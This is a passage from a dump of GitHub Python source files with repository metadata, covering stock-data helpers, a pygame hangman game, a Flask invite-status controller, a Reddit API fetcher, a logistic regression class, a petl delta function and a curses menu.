plt.grid(b=True, which=\"major\", color=\"#666666\", linestyle=\"-\")\n plt.minorticks_on()\n plt.grid(b=True, which=\"minor\", color=\"#999999\", linestyle=\"-\", alpha=0.2)\n\n if ff.USE_ION:\n plt.ion()\n\n plt.show()\n \n print(\"\")\n\n\ndef is_market_open():\n \n \"\"\" checks if the stock market is open \"\"\"\n # Get current US time\n now = datetime.now(timezone(\"US/Eastern\"))\n # Check if it is a weekend\n if now.date().weekday() > 4:\n return False\n \n # Check if it is a holiday\n if now.strftime(\"%Y-%m-%d\") in holidaysUS():\n return False\n # Check if it hasn't open already\n if now.time() < Time(hour=9, minute=30, second=0):\n return False\n # Check if it has already closed\n if now.time() > Time(hour=16, minute=0, second=0):\n return False\n # Otherwise, Stock Market is open!\n return True\n\n\ndef long_number_format(num) -> str:\n if isinstance(num, float):\n magnitude = 0\n while abs(num) >= 1000:\n magnitude += 1\n num /= 1000.0\n num_str = int(num) if num.is_integer() else f\"{num:.3f}\"\n return f\"{num_str} {' KMBTP'[magnitude]}\".strip()\n \n if isinstance(num, int):\n num = str(num)\n \n if num.lstrip(\"-\").isdigit():\n num = int(num)\n num /= 1.0\n magnitude = 0\n while abs(num) >= 1000:\n magnitude += 1\n num /= 1000.0\n num_str = int(num) if num.is_integer() else f\"{num:.3f}\"\n return f\"{num_str} {' KMBTP'[magnitude]}\".strip()\n \n return num\n\n\ndef clean_data_values_to_float(val: str):\n # Remove any leading or trailing parentheses and spaces\n val = val.strip(\"( )\")\n if val == \"-\":\n val = \"0\"\n\n # Convert percentage to decimal\n if val.endswith(\"%\"):\n val_as_float = float(val[:-1]) / 100.0\n # Convert from billions\n elif val.endswith(\"B\"):\n val_as_float = float(val[:-1]) * 1_000_000_000\n # Convert from millions\n elif val.endswith(\"M\"):\n val_as_float = float(val[:-1]) * 1_000_000\n # Convert from thousands\n elif val.endswith(\"K\"):\n val_as_float = float(val[:-1]) * 1000\n else:\n val_as_float = float(val)\n\n return val_as_float\n\n\ndef int_or_round_float(x):\n if (x - int(x) < -sys.float_info.epsilon) or (x - int(x) > sys.float_info.epsilon):\n return \" \" + str(round(x, 2))\n\n return \" \" + str(int(x))\n\n\ndef divide_chunks(data, n):\n # looping till length of data\n for i in range(0, len(data), n):\n yield data[i : i + n]\n\n\ndef get_next_stock_market_days(last_stock_day, n_next_days):\n n_days = 0\n l_pred_days = list()\n while n_days < n_next_days:\n\n last_stock_day += timedelta(hours=24)\n\n # Check if it is a weekend\n if last_stock_day.date().weekday() > 4:\n continue\n # Check if it is a holiday\n if last_stock_day.strftime(\"%Y-%m-%d\") in holidaysUS():\n continue\n # Otherwise stock market is open\n n_days += 1\n l_pred_days.append(last_stock_day)\n\n return l_pred_days\n\n\ndef get_data(tweet):\n \n if \"+\" in tweet[\"created_at\"]:\n s_datetime = tweet[\"created_at\"].split(\" +\")[0]\n else:\n s_datetime = iso8601.parse_date(tweet[\"created_at\"]).strftime(\n \"%Y-%m-%d %H:%M:%S\"\n )\n\n if \"full_text\" in tweet.keys():\n s_text = tweet[\"full_text\"]\n else:\n s_text = tweet[\"text\"]\n\n data = {\"created_at\": s_datetime, \"text\": s_text}\n \n return data\n\n\ndef clean_tweet(tweet: str, s_ticker: str):\n whitespace = re.compile(r\"\\s+\")\n web_address = re.compile(r\"(?i)http(s):\\/\\/[a-z0-9.~_\\-\\/]+\")\n ticker = re.compile(fr\"(?i)@{s_ticker}(?=\\b)\")\n user = re.compile(r\"(?i)@[a-z0-9_]+\")\n\n tweet = whitespace.sub(\" \", tweet)\n tweet = web_address.sub(\"\", tweet)\n tweet = ticker.sub(s_ticker, tweet)\n tweet = user.sub(\"\", tweet)\n\n return tweet\n\n\ndef get_user_agent():\n user_agent_strings = [\n \"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.10; rv:86.1) Gecko/20100101 Firefox/86.1\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:86.1) Gecko/20100101 Firefox/86.1\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:82.1) Gecko/20100101 Firefox/82.1\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:86.0) Gecko/20100101 Firefox/86.0\",\n \"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:86.0) Gecko/20100101 Firefox/86.0\",\n \"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.10; rv:83.0) Gecko/20100101 Firefox/83.0\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:84.0) Gecko/20100101 Firefox/84.0\",\n ]\n\n return random.choice(user_agent_strings)\n\n\n# monkey patch Pandas\ndef text_adjustment_init(self):\n self.ansi_regx = re.compile(r\"\\x1B[@-_][0-?]*[ -/]*[@-~]\")\n self.encoding = get_option(\"display.encoding\")\n\n\ndef text_adjustment_len(self, text):\n # return compat.strlen(self.ansi_regx.sub(\"\", text), encoding=self.encoding)\n return len(self.ansi_regx.sub(\"\", text))\n\n\ndef text_adjustment_justify(self, texts, max_len, mode=\"right\"):\n jfunc = (\n str.ljust\n if (mode == \"left\")\n else str.rjust\n if (mode == \"right\")\n else str.center\n )\n out = []\n for s in texts:\n escapes = self.ansi_regx.findall(s)\n if len(escapes) == 2:\n out.append(\n escapes[0].strip()\n + jfunc(self.ansi_regx.sub(\"\", s), max_len)\n + escapes[1].strip()\n )\n else:\n out.append(jfunc(s, max_len))\n \n return out\n\n\n# pylint: disable=unused-argument\ndef text_adjustment_join_unicode(self, lines, sep=\"\"):\n try:\n return sep.join(lines)\n except UnicodeDecodeError:\n # sep = compat.text_type(sep)\n return sep.join([x.decode(\"utf-8\") if isinstance(x, str) else x for x in lines])\n\n\n# pylint: disable=unused-argument\ndef text_adjustment_adjoin(self, space, *lists, **kwargs):\n # Add space for all but the last column:\n pads = ([space] * (len(lists) - 1)) + [0]\n max_col_len = max([len(col) for col in lists])\n new_cols = []\n for col, pad in zip(lists, pads):\n width = max([self.len(s) for s in col]) + pad\n c = self.justify(col, width, mode=\"left\")\n # Add blank cells to end of col if needed for different col lens:\n if len(col) < max_col_len:\n c.extend([\" \" * width] * (max_col_len - len(col)))\n new_cols.append(c)\n\n rows = [self.join_unicode(row_tup) for row_tup in zip(*new_cols)]\n \n return self.join_unicode(rows, sep=\"\\n\")\n\n\n# https://github.com/pandas-dev/pandas/issues/18066#issuecomment-522192922\ndef patch_pandas_text_adjustment():\n pandas.io.formats.format.TextAdjustment.__init__ = text_adjustment_init\n pandas.io.formats.format.TextAdjustment.len = text_adjustment_len\n pandas.io.formats.format.TextAdjustment.justify = text_adjustment_justify\n pandas.io.formats.format.TextAdjustment.join_unicode = text_adjustment_join_unicode\n pandas.io.formats.format.TextAdjustment.adjoin = text_adjustment_adjoin\n\n\ndef parse_known_args_and_warn(parser, l_args):\n parser.add_argument(\n \"-h\", \"--help\", action=\"store_true\", dest=\"help\", help=\"show this help message\"\n )\n\n (ns_parser, l_unknown_args) = parser.parse_known_args(l_args)\n\n if ns_parser.help:\n parser.print_help()\n print(\"\")\n return None\n\n if l_unknown_args:\n print(f\"The following args couldn't be interpreted: {l_unknown_args}\")\n\n return ns_parser\n\n\ndef financials_colored_values(val: str) -> str:\n if sum(c.isalpha() for c in val) < 2:\n if \"%\" in val:\n if \"-\" in val:\n val = f\"{Fore.RED}{val}{Style.RESET_ALL}\"\n else:\n val = f\"{Fore.GREEN}{val}{Style.RESET_ALL}\"\n elif \"(\" in val:\n val = f\"{Fore.RED}{val}{Style.RESET_ALL}\"\n \n return val\n\n\ndef lett_to_num(word: str):\n replacements = [(\"o\", \"1\"), (\"h\", \"2\"), (\"l\", \"3\"), (\"c\", \"4\"), (\"a\", \"5\")]\n for (a, b) in replacements:\n word = word.replace(a, b)\n \n return word\n\n\ndef check_sources(source: str):\n available_historical_price_sources = [\"yf\", \"av\"]\n if source in available_historical_price_sources:\n return source\n raise argparse.ArgumentTypeError(\n \"This source for historical data is not available.\"\n )\n\n\ndef get_flair() -> str:\n flair = {\n \"rocket\": \"(🚀🚀)\",\n \"diamond\": \"(💎💎)\",\n \"stars\": \"(✨)\",\n \"baseball\": \"(âš¾)\",\n \"boat\": \"(⛵)\",\n \"phone\": \"(☎)\",\n \"mercury\": \"(☿)\",\n \"sun\": \"(☼)\",\n \"moon\": \"(☾)\",\n \"nuke\": \"(☢)\",\n \"hazard\": \"(☣)\",\n \"tunder\": \"(☈)\",\n \"king\": \"(â™”)\",\n \"queen\": \"(♕)\",\n \"knight\": \"(♘)\",\n \"recycle\": \"(â™»)\",\n \"scales\": \"(âš–)\",\n \"ball\": \"(âš½)\",\n \"golf\": \"(⛳)\",\n \"piece\": \"(☮)\",\n \"yy\": \"(☯)\",\n }\n\n if flair.get(ff.USE_FLAIR):\n return flair[ff.USE_FLAIR]\n\n return \"\"\n","repo_name":"Sean-Koval/sentilab","sub_path":"sentilab/helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":10542,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30834586641","text":"import pygame, sys\nfrom pygame.locals import *\nimport random\n \n# Initialize program\npygame.init()\n \n# Assign FPS a value\nFPS = 30\nFramePerSec = pygame.time.Clock()\n \n# Setting up color objects\nBLUE = (0, 0, 255)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLACK = (0, 0, 0)\nWHITE = (235, 226, 225)\nLIGHT_GRAY = (181, 176, 176)\nDARK_GRAY = (105, 102, 101)\nPINK = (236, 170, 158)\nBROWN = (105, 75, 70)\nFONT = pygame.font.Font(None, 32)\n \n# Setup a 300x300 pixel display with caption\nDISPLAYSURF = pygame.display.set_mode((300,300))\nDISPLAYSURF.fill(WHITE)\npygame.display.set_caption(\"Ahorcado\")\n\ndef get_word():\n with open(\"./archivos/data.txt\",\"r\",encoding=('utf-8')) as f:\n words = []\n for word in f:\n word.replace('\\n','')\n words.append(word) \n position = random.randint(0, (len(words)-1))\n return(words[position]) \n \n# Creating Lines and Shapes\nclass Hangman(pygame.sprite.Sprite):\n def __init__(self):\n super.__init__\n self.image = pygame.image.load(\"img/ionic-3-ahorcado.png\")\n self.word = list(get_word())\n def print(self):\n self.word.pop(len(self.word)-1)\n lines = ['_']*len(self.word)\n while self.word != lines :\n letter_chosen = input(\"ingresa la letra = \")\n i = 0\n for letter in self.word:\n if letter_chosen == letter:\n lines[i] = letter_chosen \n i += 1\n print(''.join(lines))\n if letter_chosen not in self.word:\n print('inténtalo otra vez') \n \n print('ganaste!') \nclass NameBox(pygame.sprite.Sprite):#subclase más simple para hacer objetos en python\n def __init__(self, x, y, z, w, letter = ''):\n self.rect = pygame.Rect(x, y, z, w)\n self.color = LIGHT_GRAY\n self.text = letter\n self.font = FONT.render(self.text, True, self.color)\n self.active = False\n def handle_event(self, event):\n if event.type == pygame.MOUSEBUTTONDOWN: # mira las cosas con el mouse \n if pygame.Rect.collidepoint(event.pos): #verifica si se da click \n self.active = not self.active # buena manera de ambiar el booleano :)\n else: self.active = False \n self.color = DARK_GRAY if self.active else LIGHT_GRAY #cambiar el color de la caja\n if event.type == pygame.KEYDOWN: #si maneja el teclado (permite hacer strings)\n if event.key == K_RETURN: # si lo que tecleas es igual a lo que retorna ?\n print(self.text)\n self.text = ''\n elif event.key == pygame.K_BACKSPACE:\n self.text = self.text[:-1] # takes everything except the last item \n else: \n self.text += event.unicode #agrega el texto string\n self.font = FONT.render(self.text, True, self.color)# re-render text\n def draw(self, screen):\n # blit esdibujar algo en pantalla \n screen.blit(self.font, (self.rect.x+5, self.rect.y+5))\n pygame.draw.rect(screen, self.color, self.rect, 2)\n\n \nHM = Hangman()\n# Beginning Game Loop\nwhile True:\n input_box1 = NameBox(100, 100, 140, 32)\n input_box2 = NameBox(100, 300, 140, 32)\n input_boxes = [input_box1, input_box2]\n done = False\n\n pygame.display.update()\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n #sys.exit()\n for box in input_boxes:\n box.handle_event(event)\n DISPLAYSURF.fill((30, 30, 30))\n for box in input_boxes:\n box.draw(DISPLAYSURF)\n\n pygame.display.flip()\n FramePerSec.tick(FPS)","repo_name":"danielavelosar/ahorcado-","sub_path":"juego_ahorcado_pygame.py","file_name":"juego_ahorcado_pygame.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41177375586","text":"from datetime import datetime\n\nfrom app.main import db\nfrom app.models.alumni_invite_status_model import AlumniInviteStatus\n\n\nclass AlumniInviteStatusController:\n\n @staticmethod\n def get_id_status_records_dict():\n records = AlumniInviteStatus.query.all()\n records_dict = {}\n for record in records:\n records_dict[record.odoo_contact_id] = record.invite_status\n return records_dict\n\n @staticmethod\n def create_invite_status_record(post_data):\n # check if record already exists\n record = AlumniInviteStatus.query.filter_by(odoo_contact_id=post_data.get('odoo_contact_id')).first()\n if not record:\n record = AlumniInviteStatus(\n odoo_contact_id=post_data.get('odoo_contact_id'),\n invite_status=post_data.get('invite_status'),\n )\n\n # insert the user\n db.session.add(record)\n db.session.commit()\n\n return {\n \"odoo_contact_id\": record.odoo_contact_id,\n \"invite_status\": record.invite_status,\n \"status_set_date\": record.status_set_date.strftime('%Y-%m-%d'),\n }, 201\n else:\n return {\n \"error_id\": \"invite_status_record_exists_error\",\n \"message\": \"Conflict: Record already exists.\"\n }, 409\n\n @staticmethod\n def update_invite_status_record(put_data):\n record = AlumniInviteStatus.query.filter_by(odoo_contact_id=put_data.get('odoo_contact_id')).first()\n # if not exists - create new\n if record is not None:\n record.invite_status = put_data.get('invite_status')\n record.status_set_date = datetime.now().date()\n db.session.add(record)\n db.session.commit()\n\n return {\n \"message\": \"Record status successfully updated.\",\n }, 200\n else:\n record = AlumniInviteStatus(\n odoo_contact_id=put_data.get('odoo_contact_id'),\n invite_status=put_data.get('invite_status'),\n )\n\n # insert the user\n db.session.add(record)\n db.session.commit()\n\n return {\n \"message\": \"New record created.\",\n }, 201\n\n @staticmethod\n def delete_invite_status_record(odoo_contact_id):\n record = AlumniInviteStatus.query.filter_by(odoo_contact_id=odoo_contact_id).first()\n if record is not None:\n db.session.delete(record)\n db.session.commit()\n\n return {\n \"message\": \"Record successfully deleted.\",\n }, 200\n else:\n return {\n \"error_id\": \"invite_status_record_not_found_error\",\n \"message\": \"Cannot delete: Record not found.\",\n }, 404\n","repo_name":"vikachuu/kma_alumni_api","sub_path":"app/controllers/alumni_invite_status_controller.py","file_name":"alumni_invite_status_controller.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70133999876","text":"import requests\nfrom pymongo import MongoClient\nfrom parsel import Selector\nimport time\n\nURL_BASE = \"https://marvelsnapzone.com/cards/\"\nNEXT_PAGE = \"?page=2\"\n\n\ndef testing_scrapping():\n with MongoClient() as client:\n while NEXT_PAGE:\n db = client.catalogue\n response = requests.get(\n URL_BASE,\n )\n print(response)\n selector = Selector(text=response.text)\n print(selector.css(\".simple-card\").getall())\n for title in selector.css(\"a.simple-card\"):\n # print(title)\n inserted_info = db.manga.insert_one({\"title\": title.text})\n print(inserted_info)\n time.sleep(5)\n break\n\n\ntesting_scrapping()\n","repo_name":"DannOut/Trybe-exercicios","sub_path":"intro_raspagem_de_dados/extra_study/dbMongo.py","file_name":"dbMongo.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33184134741","text":"#!/usr/bin/python3\n'''titles of the first 10 hot posts listed for a subreddit'''\nimport requests\n\n\ndef top_ten(subreddit):\n headers = {'User-Agent': 'ned6'}\n res = requests.get(\n 'https://www.reddit.com/r/{}/hot.json?limit=10'.format(subreddit),\n headers=headers)\n if res.status_code != 200:\n print(None)\n return\n data = res.json()['data']['children']\n for i in data:\n print(i['data']['title'])\n","repo_name":"nedhir6/holberton-system_engineering-devops","sub_path":"0x16-api_advanced/1-top_ten.py","file_name":"1-top_ten.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4580732649","text":"\"\"\"My Logistic Regression module\"\"\"\n# -----------------------------------------------------------------------------\n# Module imports\n# -----------------------------------------------------------------------------\n# system\nimport os\nimport sys\n# nd arrays\nimport numpy as np\n# user modules\nsys.path.insert(1, os.path.join(os.path.dirname(__file__), '..', 'ex01'))\nsys.path.insert(1, os.path.join(os.path.dirname(__file__), '..', 'ex06'))\nfrom l2_reg import l2\nfrom ridge import type_validator, shape_validator, \\\n regularize_grad, regularize_loss\n\n# -----------------------------------------------------------------------------\n# helper function\n# -----------------------------------------------------------------------------\n# sigmoid\n@type_validator\n@shape_validator({'x': ('m', 1)})\ndef sigmoid_(x: np.ndarray) -> np.ndarray:\n \"\"\"\n Compute the sigmoid of a vector.\n Args:\n x: has to be a numpy.ndarray of shape (m, 1).\n Returns:\n The sigmoid value as a numpy.ndarray of shape (m, 1).\n None if x is an empty numpy.ndarray.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n return 1 / (1 + np.exp(-x))\n except:\n return None\n\n\n# -----------------------------------------------------------------------------\n# MyLogisticRegression class with l2 regularization\n# -----------------------------------------------------------------------------\nclass MyLogisticRegression():\n \"\"\"\n Description:\n My personnal logistic regression to classify things.\n \"\"\"\n # We consider l2 penalty only. One may wants to implement other penalties\n supported_penalties = ['l2']\n\n @type_validator\n @shape_validator({'thetas': ('n', 1)})\n def __init__(self, thetas: np.ndarray, alpha: float = 0.001,\n max_iter: int = 1000, penalty: str = 'l2',\n lambda_: float = 1.0):\n self.alpha = alpha\n self.max_iter = max_iter\n self.thetas = np.array(thetas).reshape((-1, 1))\n self.penalty = penalty\n self.lambda_ = lambda_ if penalty in self.supported_penalties else 0\n\n @type_validator\n @shape_validator({'x': ('m', 'n')})\n def predict_(self, x: np.ndarray) -> np.ndarray:\n \"\"\"\n Computes the vector of prediction y_hat from two non-empty\n numpy.ndarray.\n Args:\n x: has to be an numpy.ndarray, a vector of dimension m * n.\n Returns:\n y_hat as a numpy.ndarray, a vector of dimension m * 1.\n None if x or theta are empty numpy.ndarray.\n None if x or theta dimensions are not appropriate.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n m, _ = x.shape\n x_prime = np.c_[np.ones((m, 1)), x]\n return sigmoid_(x_prime.dot(self.thetas))\n except:\n return None\n\n @type_validator\n @shape_validator({'y': ('m', 1), 'y_hat': ('m', 1)})\n def loss_elem_(self, y: np.ndarray, y_hat: np.ndarray) -> np.ndarray:\n \"\"\"\n Description:\n Calculates the loss by element.\n Args:\n y: has to be an numpy.array, a vector.\n y_hat: has to be an numpy.array, a vector.\n Returns:\n J_elem: numpy.array, a vector of dimension (number of the training\n examples,1).\n None if there is a dimension matching problem between X, Y or\n theta.\n None if any argument is not of the expected type.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n # values check\n min_val = 0\n max_val = 1\n valid_values = np.logical_and(min_val <= y_hat, y_hat <= max_val)\n if not np.all(valid_values):\n print('y / y_hat val must be between 0 and 1', file=sys.stderr)\n return None\n # add a little value to y_hat to avoid log(0) problem\n eps: float=1e-15\n # y_hat = np.clip(y_hat, eps, 1 - eps) < good options for eps\n return -(y * np.log(y_hat + eps) + (1 - y) \\\n * np.log(1 - y_hat + eps))\n except:\n return None\n\n @type_validator\n @shape_validator({'y': ('m', 1), 'y_hat': ('m', 1)})\n @regularize_loss\n def loss_(self, y: np.ndarray, y_hat: np.ndarray) -> float:\n \"\"\"\n Compute the logistic loss value.\n Args:\n y: has to be an numpy.ndarray, a vector of shape m * 1.\n y_hat: has to be an numpy.ndarray, a vector of shape m * 1.\n Returns:\n The logistic loss value as a float.\n None on any error.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n m, _= y.shape\n return np.sum(self.loss_elem_(y, y_hat)) / m\n except:\n return None\n\n @type_validator\n @shape_validator({'x': ('m', 'n'), 'y': ('m', 1)})\n @regularize_grad\n def gradient_(self, x: np.ndarray, y: np.ndarray) -> np.ndarray:\n \"\"\"\n Computes the regularized linear gradient of three non-empty\n numpy.ndarray. The three arrays must have compatible shapes.\n Args:\n x: has to be a numpy.ndarray, a matrix of dimesion m * n.\n y: has to be a numpy.ndarray, a vector of shape m * 1.\n Return:\n A numpy.ndarray, a vector of shape (n + 1) * 1, containing the\n results of the formula for all j.\n None if y, x, or theta are empty numpy.ndarray.\n None if y, x or theta does not share compatibles shapes.\n None if y, x or theta or lambda_ is not of the expected type.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n m, _ = x.shape\n x_prime = np.c_[np.ones((m, 1)), x]\n y_hat = x_prime.dot(self.thetas)\n return x_prime.T.dot(y_hat - y) / m\n except:\n return None\n\n @type_validator\n @shape_validator({'x': ('m', 'n'), 'y': ('m', 1)})\n def fit_(self, x: np.ndarray, y: np.ndarray) -> np.ndarray:\n \"\"\"\n Description:\n Fits the model to the training dataset contained in x and y.\n Args:\n x: has to be a numpy.ndarray, a vector of dimension m * n:\n (number of training examples, 1).\n y: has to be a numpy.ndarray, a vector of dimension m * 1:\n (number of training examples, 1).\n Returns:\n new_theta: numpy.ndarray, a vector of dimension (n + 1) * 1.\n None if there is a matching dimension problem.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n # calculation of the gradient vector\n # 1. X to X'\n m, _ = x.shape\n x_prime = np.c_[np.ones((m, 1)), x]\n # 2. loop\n for _ in range(self.max_iter):\n # 3. calculate the grandient for current thetas\n y_hat = self.predict_(x)\n gradient = self.gradient_(x, y)\n # 4. calculate and assign the new thetas\n self.thetas -= self.alpha * gradient\n return self.thetas\n except:\n return None\n\n\n# -----------------------------------------------------------------------------\n# Tests\n# -----------------------------------------------------------------------------\nif __name__ == \"__main__\":\n\n thetas = np.array([[-2.4], [-1.5], [0.3], [-1.4], [0.7]])\n\n # Example 1:\n model1 = MyLogisticRegression(thetas, lambda_=5.0)\n print(model1.penalty) # -> 'l2'\n print(model1.lambda_) # -> 5.0\n\n # Example 2:\n model2 = MyLogisticRegression(thetas, penalty='none')\n print(model2.penalty) # -> None\n print(model2.lambda_) # -> 0.0\n\n # Example 3:\n model3 = MyLogisticRegression(thetas, penalty='none', lambda_=2.0)\n print(model3.penalty) # -> None\n print(model3.lambda_) # -> 0.0\n","repo_name":"twagger/bootcamp_machine-learning","sub_path":"module04/ex08/my_logistic_regression.py","file_name":"my_logistic_regression.py","file_ext":"py","file_size_in_byte":8049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70357669315","text":"import petl as etl\nimport pandas as pd\n\ndef get_delta(source_table, target_table, key='id'):\n source_table_headers = etl.header(source_table)\n target_table_headers = etl.header(target_table)\n\n if source_table_headers != target_table_headers:\n raise Exception('Source table columns do not match target table columns')\n\n source_ids = etl.cut(source_table, key)\n target_ids = etl.cut(target_table, key)\n added_ids_table, _ = etl.diff(source_ids, target_ids)\n\n merged_table = etl.merge(source_table,\n target_table,\n key=key)\n\n load_frame = etl.todataframe(etl.selectin(target_table, key, etl.values(added_ids_table, key)))\n print(load_frame)\n\n for row in etl.data(merged_table):\n for i, col in enumerate(row):\n if isinstance(col, etl.transform.reductions.Conflict):\n changes = tuple(col)\n print('For car {}, {} changed from {} to {}'\n .format(row[0], source_table_headers[i], changes[1], changes[0]))\n row_dict = dict(zip(source_table_headers,list(row)))\n row_dict[source_table_headers[i]] = changes[0]\n row_dict = { key: [val] for (key,val) in row_dict.items() }\n print(row_dict)\n df = pd.DataFrame(row_dict)\n load_frame = load_frame.append(df, ignore_index=True)\n break\n \n return etl.fromdataframe(load_frame)\n","repo_name":"austin-hess/ketl","sub_path":"get_delta.py","file_name":"get_delta.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75082625155","text":"import curses\n\n\nclass CursesMainRenderer:\n\n def __init__(self, screen=None):\n if screen:\n self.screen = screen\n else:\n self.screen = curses.initscr()\n self.main()\n\n def main(self):\n curses.curs_set(0)\n stdscr = self.screen\n stdscr.clear()\n\n menu = MainMenu()\n menu.render()\n\n #stdscr.getkey()\n\n def term(self):\n screen = self.screen\n curses.nocbreak()\n screen.keypad(False)\n curses.echo()\n curses.endwin()\n\n\nclass MainMenu:\n HEIGHT = 10\n WIDTH = 50\n X_POS = 8\n Y_POS = 1\n\n def __init__(self):\n self.win = curses.newwin(self.HEIGHT, self.WIDTH, self.Y_POS, self.X_POS)\n\n def render(self):\n self.win.addstr(0, 0, 'Welcome to Tic-Tac-Toe game!', curses.A_BOLD)\n self.win.addstr(2, 5, 'Start new game')\n self.win.addstr(2, 3, '>')\n self.win.addstr(4, 5, 'Exit')\n self.win.refresh()\n self.win.getkey()\n\ncurses.wrapper(CursesMainRenderer)\n","repo_name":"ivan-gerasin/py_tic_tac_toe","sub_path":"curses_render/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21388549296","text":"# https://www.youtube.com/watch?v=buoSzgX9yM4&t=339s\n# https://www.youtube.com/watch?v=kyZ_5cvrXJI\n\n# https://www.youtube.com/watch?v=gXuEspYdcYk\n\n# pip install pyttsx3\n\nimport pyttsx3\n\ntext_speech = pyttsx3.init()\n# The text that you want to convert to audio\nmytext = 'Welcome to geeksforgeeks!'\n\n# Language in which you want to convert\nlanguage = 'en'\n\nanswer = input(mytext)\ntext_speech.setProperty('rate', 300)\ntext_speech.say(answer)\ntext_speech.runAndWait()","repo_name":"rishant/text-to-speech","sub_path":"python-workspace/texttoaudio.py","file_name":"texttoaudio.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11016148832","text":"import streamlit as st\nimport pandas as pd\nfrom PIL import Image\nimport plotly.express as px\n\nst.title('Covid-19 Cases in India ­Ъда')\nst.sidebar.title(\"Please Select Your Requirements\")\nimage = Image.open(\"CovidImage.jpg\")\nst.image(image, use_column_width=True)\n\n\n@st.cache\ndef load_data():\n df = pd.read_csv(\"india_covid_19_state_wise_info.csv\")\n return df\n\n\ndf = load_data()\n\n\nvisualization = st.sidebar.selectbox('Select a Chart type', ('Bar Chart', 'Pie Chart', 'Line Chart'))\nstate_select = st.sidebar.selectbox('Select a state', df['State'].unique())\nstatus_select = st.sidebar.radio('Covid-19 patient status',\n ('ConfirmedCases', 'ActiveCases', 'RecoveredCases', 'DeathCases'))\nselected_state = df[df['State'] == state_select]\nst.markdown(\"# **State level analysis**\")\n\n\ndef get_total_dataframe(df):\n total_dataframe = pd.DataFrame({\n 'Status': ['Confirmed', 'Recovered', 'Deaths', 'Active'],\n 'Number of Cases': (df.iloc[0]['ConfirmedCases'],\n df.iloc[0]['ActiveCases'],\n df.iloc[0]['RecoveredCases'],\n df.iloc[0]['DeathCases'])})\n return total_dataframe\n\n\nstate_total = get_total_dataframe(selected_state)\nif visualization == 'Bar Chart':\n state_total_graph = px.bar(state_total, x='Status', y='Number of Cases',\n labels={'Number of Cases': 'Number of Cases in %s' % state_select}, color='Status')\n st.plotly_chart(state_total_graph)\nelif visualization == 'Pie Chart':\n if status_select == 'ConfirmedCases':\n st.title(\"Total Confirmed Cases\")\n fig = px.pie(df, values=df['ConfirmedCases'], names=df['State'])\n st.plotly_chart(fig)\n elif status_select == 'ActiveCases':\n st.title(\"Total Active Cases\")\n fig = px.pie(df, values=df['ActiveCases'], names=df['State'])\n st.plotly_chart(fig)\n elif status_select == 'DeathCases':\n st.title(\"Total Deaths\")\n fig = px.pie(df, values=df['DeathCases'], names=df['State'])\n st.plotly_chart(fig)\n else:\n st.title(\"Total Recovered Cases\")\n fig = px.pie(df, values=df['RecoveredCases'], names=df['State'])\n st.plotly_chart(fig)\nelif visualization == 'Line Chart':\n if status_select == 'ConfirmedCases':\n st.title('Total Confirmed Cases')\n fig = px.line(df, x='State', y=df['ConfirmedCases'])\n st.plotly_chart(fig)\n elif status_select == 'ActiveCases':\n st.title('Total Active Cases')\n fig = px.line(df, x='State', y=df['ActiveCases'])\n st.plotly_chart(fig)\n elif status_select == 'DeathCases':\n st.title('Total Deaths')\n fig = px.line(df, x='State', y=df['DeathCases'])\n st.plotly_chart(fig)\n else:\n st.title('Total Recovered Cases')\n fig = px.line(df, x='State', y=df['RecoveredCases'])\n st.plotly_chart(fig)\n\n\ndef get_table():\n datatable = df[['State', 'ConfirmedCases', 'ActiveCases', 'RecoveredCases', 'DeathCases']].sort_values(\n by=['ConfirmedCases'], ascending=True)\n return datatable\n\n\ndatatable = get_table()\nst.dataframe(datatable)\n","repo_name":"vatsal-06/Covid19_Case_Counter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21415287900","text":"# -*- coding: utf-8 -*-\nfrom addict import Dict\nfrom pathlib import PurePath\n\nfrom crosspm.contracts.package_version import PackageVersion\nfrom dohq_common.package_parsers.debian_package_name_parser import DebianPackageNameParser\n\n\nclass Parser2():\n def __init__(self, name, data, config):\n # super().__init__(name, data, config)\n self._name = 'repo2'\n self._rules = {}\n self._rules['path'] = [data['path']]\n\n def get_vars(self):\n return ['server', 'repo', 'package', 'version']\n\n def validate_path(self, path, params):\n p = PurePath(path)\n debian_package = DebianPackageNameParser.parse_from_package_name(p.name)\n package_version = 